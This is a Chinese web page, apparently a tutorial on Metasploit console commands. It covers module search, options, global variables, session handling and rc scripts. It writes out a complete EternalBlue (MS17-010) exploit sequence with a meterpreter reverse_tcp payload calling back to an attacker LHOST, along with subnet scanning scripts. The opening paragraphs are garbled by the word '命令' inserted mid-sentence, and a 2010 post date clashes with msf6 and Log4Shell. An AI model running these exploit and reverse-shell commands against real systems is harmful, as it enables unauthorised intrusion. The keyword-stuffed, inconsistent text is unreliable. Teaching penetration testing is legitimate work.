知识

metasploit命令

时间:2010-12-5 17:23:32  作者:焦点   来源:综合  查看:  评论:0
内容摘要:```html Metasploit 命令速览 body { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; l

```html Metasploit 命令速览

Metasploit 命令

打开 msfconsole 之后,你面对的命令是一个交互式环境。很多人第一次进去会愣住——命令行提示符长得像 msf6 >,命令但敲 ls 或者 cd 完全没用。命令别慌,命令这不是命令 Linux shell,是命令一套独立指令系统。我刚开始用的命令时候,习惯性敲了 ifconfig,命令结果它回了一句 [-] Unknown command: ifconfig.,命令挺尴尬的命令。

最基础的命令一条命令是 help。但别指望它像 man 手册那样详细,命令它只列出核心命令分类。命令真正高频用的命令是这几个:search、use、show、set、run(或者 exploit)。看起来简单,组合起来能玩出花。

msf6 > search type:exploit platform:windows smb
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 192.168.1.45
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.100
msf6 > run

上面这段就是一次典型的永恒之蓝利用。注意 show options 这一步不能省——每个模块需要的参数不一样,有的要 RPORT,有的要 SMBUser。我见过有人直接 set RHOST 就开跑,结果报错 [-] Msf::OptionValidateError The following options failed to validate: RHOSTS. 因为新版 Metasploit 里主机参数叫 RHOSTS,多个目标用逗号隔开,比如 set RHOSTS 10.0.0.1,10.0.0.2。单数 RHOST 是旧写法,不少老教程还在用,但新版本已经废弃了。

search 命令的玩法比想象中多。你可以按 CVE 搜:search cve:2021-44228(Log4Shell),也可以按模块路径搜:search path:scanner/http。甚至能按作者过滤:search author:hdm。有一次我找 Apache 的漏洞,直接 search apache 返回两百多条,加上 type:exploit 和 platform:linux 才缩到十几条。搜索语法里 platform 和 type 最常用,rank 也能筛——rank:excellent 表示利用成功率极高。


进入某个模块后,info 命令比 show options 更值得看。它会显示漏洞描述、参考链接、作者、以及这个模块是 manual 还是 excellent 级别。我习惯先 info 再 show options,尤其面对不熟悉的模块时。info 里还会列出 Available targets,比如 Windows 7 和 Windows Server 2008 R2 分开编号,用 set TARGET 1 切换。选错目标可能导致蓝屏而不是弹 shell——别问我是怎么知道的。

set 和 unset 是成对的。设置全局变量用 setg,比如 setg LHOST 10.10.14.3,之后所有模块都默认用这个回连地址,不用反复输入。但注意:setg 的优先级低于模块内 set。如果你在某个模块里单独 set LHOST 192.168.0.5,它会覆盖全局值。想清除全局变量用 unsetg LHOST。

msf6 > setg RHOSTS 10.10.10.0/24
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > run
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > run

上面这个例子展示了 setg 的便利——扫描整个 C 段,不用重复指定目标。辅助模块(auxiliary)通常只做扫描、嗅探、爆破,不弹 shell。它们的输出格式很直白,比如 [+] 10.10.10.23:445 - Host is running Windows 7 Professional SP1。看到 [+] 就说明有发现。

后渗透阶段常用 sessions 命令。拿到 meterpreter 之后,background 把它扔到后台,然后 sessions -l 列出所有会话。sessions -i 2 切回编号为 2 的会话。sessions -k 3 直接杀掉。我一般会先 sessions -u 1 把普通 shell 升级成 meterpreter,但前提是目标架构匹配,否则会报错。另外 sessions -C 可以批量执行命令,比如 sessions -C "sysinfo" -i 1,2,3,一次性看三台机器的信息。

还有个冷门但好用的命令:makerc。它把你从打开 msfconsole 到现在的所有命令保存成一个 rc 脚本。下次直接 msfconsole -r my_script.rc 就能重放。我测试漏洞时习惯用这个,省得每次手动敲一遍。不过 makerc 不会记录 run 之后的交互输出,只是命令序列。

资源脚本(rc 文件)里可以写 set、use、run -j 等。-j 参数让任务在后台跑,适合批量扫描。比如写一个 scan.rc:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445
set THREADS 20
run

然后 msfconsole -r scan.rc,它会自动执行并退出。注意 THREADS 别设太高,我试过 set THREADS 100,结果本地网络直接堵死,路由器都差点重启。20 到 30 比较稳妥。

最后说一个容易踩的坑:exit 和 quit 效果一样,但如果你在某个模块的上下文里(提示符是 msf6 exploit(...) >),直接敲 exit 会退出整个 msfconsole,而不是返回上一级。想返回根提示符用 back。这个设计有点反直觉,我至少误退出过十几次。记住:back 是后退,exit 是离开。

Metasploit 的命令不多,但组合起来能覆盖从扫描到提权的完整链条。别背命令,多敲几次自然就记住了。遇到报错先看 show options 里哪个必填项是空的,八成能解决。

```
最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap